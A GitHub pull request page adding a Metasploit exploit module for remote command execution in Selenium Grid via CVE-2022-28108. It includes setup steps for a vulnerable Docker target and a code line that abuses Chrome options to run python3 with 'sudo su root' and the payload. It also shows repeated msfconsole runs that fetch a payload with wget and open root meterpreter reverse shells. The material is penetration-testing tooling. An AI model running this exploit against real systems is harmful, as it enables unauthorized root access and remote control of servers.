Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add Selenium Chrome RCE module (CVE-2022-28108) #19769

Merged

Conversation

Takahiro-Yoko
Copy link
Contributor

@Takahiro-Yoko Takahiro-Yoko commented Dec 26, 2024

One of #19753
Firefox PR: #19771
File read PR: #19781

Vulnerable Application

Selenium Server (Grid) before 4.0.0-alpha-7 allows CSRF because it permits non-JSON content types
such as application/x-www-form-urlencoded, multipart/form-data, and text/plain.

The vulnerability affects:

* Selenium Server (Grid) before 4.0.0-alpha-7

This module was successfully tested on:

* selenium/standalone-chrome:3.141.59 installed with Docker on Ubuntu 24.04
* selenium/standalone-chrome:4.0.0-alpha-6-20200730 installed with Docker on Ubuntu 24.04

Installation

  1. docker pull selenium/standalone-chrome:3.141.59

  2. docker run -d -p 4444:4444 -p 7900:7900 --shm-size="2g" selenium/standalone-chrome:3.141.59

Verification Steps

  1. Install the application
  2. Start msfconsole
  3. Do: use exploit/linux/http/selenium_greed_chrome_rce_cve_2022_28108
  4. Do: run lhost=<lhost> rhost=<rhost>
  5. You should get a meterpreter

Options

Scenarios

msf6 > use exploit/linux/http/selenium_greed_chrome_rce_cve_2022_28108
[*] Using configured payload cmd/linux/http/x64/meterpreter_reverse_tcp
msf6 exploit(linux/http/selenium_greed_chrome_rce_cve_2022_28108) > run lhost=192.168.56.1 rhost=192.168.56.16 rport=4444
[*] Started reverse TCP handler on 192.168.56.1:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Version 3.141.59 detected, which is vulnerable.
[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.16:33274) at 2024-12-30 13:36:57 +0900

meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer     : 172.17.0.5
OS           : Ubuntu 20.04 (Linux 6.8.0-51-generic)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter > 

@Takahiro-Yoko Takahiro-Yoko changed the title Add selenium chrome rce module (CVE-2022-28108) Add Selenium Chrome RCE module (CVE-2022-28108) Dec 27, 2024
'browserName' => 'chrome',
'goog:chromeOptions' => {
'binary' => '/usr/bin/python3',
'args' => ["-cimport os; os.system('sudo su root -c \"#{payload.encoded}\"')"]
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Presumably this will fail unless the user running Selenium can elevate to root (without a password)?

Obtaining a low-privileged shell is likely to be a more robust approach. If the user has permission to elevate privileges with passwordless sudo, the operator can elevate their session themselves.

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Thanks!

When using this exploit against the official Selenium Docker image, we need to elevate to root (which can be done without a password) for the exploit to succeed. The normal seluser may not have the necessary permissions to execute the payload. However, this isn't always the case, so I added a check to determine whether the user can elevate to root without a password. 9bfccc4 Does this approach seem acceptable?

  * add check if sudo without password possible
  * base64 encode payload
Takahiro-Yoko and others added 5 commits December 28, 2024 14:39
…_28108.rb


Improve version detection messaging

Co-authored-by: bcoles <[email protected]>
 * enable fetch_delete
 * avoid using single quotes
 * update doc
Copy link
Contributor

@dledda-r7 dledda-r7 left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Hello @Takahiro-Yoko, Thanks for your module!
I've left couple of comments for some minor code changes.
The exploit works great!

msf6 exploit(linux/http/selenium_greed_chrome_rce_cve_2022_28108) > show options

Module options (exploit/linux/http/selenium_greed_chrome_rce_cve_2022_28108):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   Proxies                   no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                    yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.ht
                                       ml
   RPORT    4444             yes       The target port (TCP)
   SSL      false            no        Negotiate SSL/TLS for outgoing connections
   VHOST                     no        HTTP server virtual host


Payload options (cmd/linux/http/x64/meterpreter_reverse_tcp):

   Name                Current Setting  Required  Description
   ----                ---------------  --------  -----------
   FETCH_COMMAND       WGET             yes       Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET)
   FETCH_DELETE        true             yes       Attempt to delete the binary after execution
   FETCH_FILENAME      ihlWIMji         no        Name to use on remote system when storing payload; cannot contain spaces or slashes
   FETCH_SRVHOST                        no        Local IP to use for serving payload
   FETCH_SRVPORT       8080             yes       Local port to use for serving payload
   FETCH_URIPATH                        no        Local URI to use for serving payload
   FETCH_WRITABLE_DIR                   yes       Remote writable dir to store payload; cannot contain spaces
   LHOST                                yes       The listen address (an interface may be specified)
   LPORT               4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Linux Command



View the full module info with the info, or info -d command.

msf6 exploit(linux/http/selenium_greed_chrome_rce_cve_2022_28108) > set lport 4445
lport => 4445
msf6 exploit(linux/http/selenium_greed_chrome_rce_cve_2022_28108) > set rhost 172.26.172.131
rhost => 172.26.172.131
msf6 exploit(linux/http/selenium_greed_chrome_rce_cve_2022_28108) > set lhost 172.26.172.131
lhost => 172.26.172.131
msf6 exploit(linux/http/selenium_greed_chrome_rce_cve_2022_28108) > exploit
[*] Started reverse TCP handler on 172.26.172.131:4445 
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Version 3.141.59 detected, which is vulnerable.
[*] Meterpreter session 1 opened (172.26.172.131:4445 -> 172.17.0.2:34320) at 2025-01-03 09:56:34 -0500

meterpreter > 

Comment on lines 71 to 83
if res&.code != 200
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'status')
})
if res && res.get_json_document && res.get_json_document.include?('value') &&
res.get_json_document['value'].include?('message') &&
res.get_json_document['value']['message'].downcase.include?('selenium grid')
return Exploit::CheckCode::Detected('Selenium Grid version 4.x detected.')
end

return Exploit::CheckCode::Unknown
end
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

You can avoid the code nesting doing something like like this:

return Exploit::CheckCode::Detected('Selenium Grid version 4.x detected.') if res && res.get_json_document && 
                                                                              res.get_json_document.include?('value') &&
                                                                              res.get_json_document['value'].include?('message') &&
                                                                              res.get_json_document['value']['message'].downcase.include?('selenium grid')

return Exploit::CheckCode::Unknown('Unexpected server reply.') unless res&.code == 200

Copy link
Contributor Author

@Takahiro-Yoko Takahiro-Yoko Jan 4, 2025

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Thanks! Updated to avoid the code nesting. 6cbb30c 474f542

@Takahiro-Yoko
Copy link
Contributor Author

Thank you for reviewing! I've applied your suggestions, updated the check to avoid code nesting, and retested.

selenium/standalone-chrome:3.141.59 installed with Docker on Ubuntu 24.04
msf6 > use exploit/linux/http/selenium_greed_chrome_rce_cve_2022_28108
[*] Using configured payload cmd/linux/http/x64/meterpreter_reverse_tcp
msf6 exploit(linux/http/selenium_greed_chrome_rce_cve_2022_28108) > options

Module options (exploit/linux/http/selenium_greed_chrome_rce_cve_2022_28108):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   Proxies                   no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                    yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT    4444             yes       The target port (TCP)
   SSL      false            no        Negotiate SSL/TLS for outgoing connections
   VHOST                     no        HTTP server virtual host


Payload options (cmd/linux/http/x64/meterpreter_reverse_tcp):

   Name                Current Setting  Required  Description
   ----                ---------------  --------  -----------
   FETCH_COMMAND       WGET             yes       Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET)
   FETCH_DELETE        true             yes       Attempt to delete the binary after execution
   FETCH_FILENAME      mjnNZDCnzidH     no        Name to use on remote system when storing payload; cannot contain spaces or slashes
   FETCH_SRVHOST                        no        Local IP to use for serving payload
   FETCH_SRVPORT       8080             yes       Local port to use for serving payload
   FETCH_URIPATH                        no        Local URI to use for serving payload
   FETCH_WRITABLE_DIR                   yes       Remote writable dir to store payload; cannot contain spaces
   LHOST                                yes       The listen address (an interface may be specified)
   LPORT               4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Linux Command



View the full module info with the info, or info -d command.

msf6 exploit(linux/http/selenium_greed_chrome_rce_cve_2022_28108) > run lhost=192.168.56.1 rhost=192.168.56.16 rport=4451
[*] Started reverse TCP handler on 192.168.56.1:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Version 3.141.59 detected, which is vulnerable.
[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.16:35202) at 2025-01-04 09:22:30 +0900

meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer     : 172.17.0.2
OS           : Ubuntu 20.04 (Linux 6.8.0-51-generic)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter > 
selenium/standalone-chrome:4.0.0-alpha-6-20200730 installed with Docker on Ubuntu 24.04
msf6 exploit(linux/http/selenium_greed_chrome_rce_cve_2022_28108) > run lhost=192.168.56.1 rhost=192.168.56.16 rport=4452
[*] Started reverse TCP handler on 192.168.56.1:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[!] The service is running, but could not be validated. Selenium Grid version 4.x detected.
[*] Meterpreter session 2 opened (192.168.56.1:4444 -> 192.168.56.16:55048) at 2025-01-04 09:25:55 +0900

meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer     : 172.17.0.3
OS           : Ubuntu 18.04 (Linux 6.8.0-51-generic)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter > 

Takahiro-Yoko added a commit to Takahiro-Yoko/metasploit-framework that referenced this pull request Jan 4, 2025
Takahiro-Yoko added a commit to Takahiro-Yoko/metasploit-framework that referenced this pull request Jan 4, 2025
  * add timeout option
  * print session info
  * apply suggestions (rapid7#19769)
Copy link
Contributor

@dledda-r7 dledda-r7 left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Looks good! Thanks @Takahiro-Yoko!

msf6 exploit(linux/http/selenium_greed_chrome_rce_cve_2022_28108) > exploit
[*] Started reverse TCP handler on 172.22.186.63:4445 
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Version 3.141.59 detected, which is vulnerable.
[*] Meterpreter session 1 opened (172.22.186.63:4445 -> 172.17.0.2:49588) at 2025-01-06 07:55:06 -0500

meterpreter > sysinfo
Computer     : 172.17.0.2
OS           : Ubuntu 20.04 (Linux 6.11.2-amd64)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter > getuid
Server username: root
meterpreter > 

@dledda-r7 dledda-r7 added the rn-modules release notes for new or majorly enhanced modules label Jan 6, 2025
@dledda-r7
Copy link
Contributor

@Takahiro-Yoko, FYI I just removed the PAYLOAD set from the DefaultOptions, it was working fine with the automatic selection from Metasploit but noted that you tested with that one!
I think we are set for landing! 😄

@dledda-r7 dledda-r7 merged commit 7ead96a into rapid7:master Jan 7, 2025
36 checks passed
@dledda-r7
Copy link
Contributor

dledda-r7 commented Jan 7, 2025

Release Notes

This adds an exploit module for Selenium Server (Grid) allowing unauthenticated command injection using Chrome backend.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
docs module rn-modules release notes for new or majorly enhanced modules
Projects
Archived in project
Development

Successfully merging this pull request may close these issues.

3 participants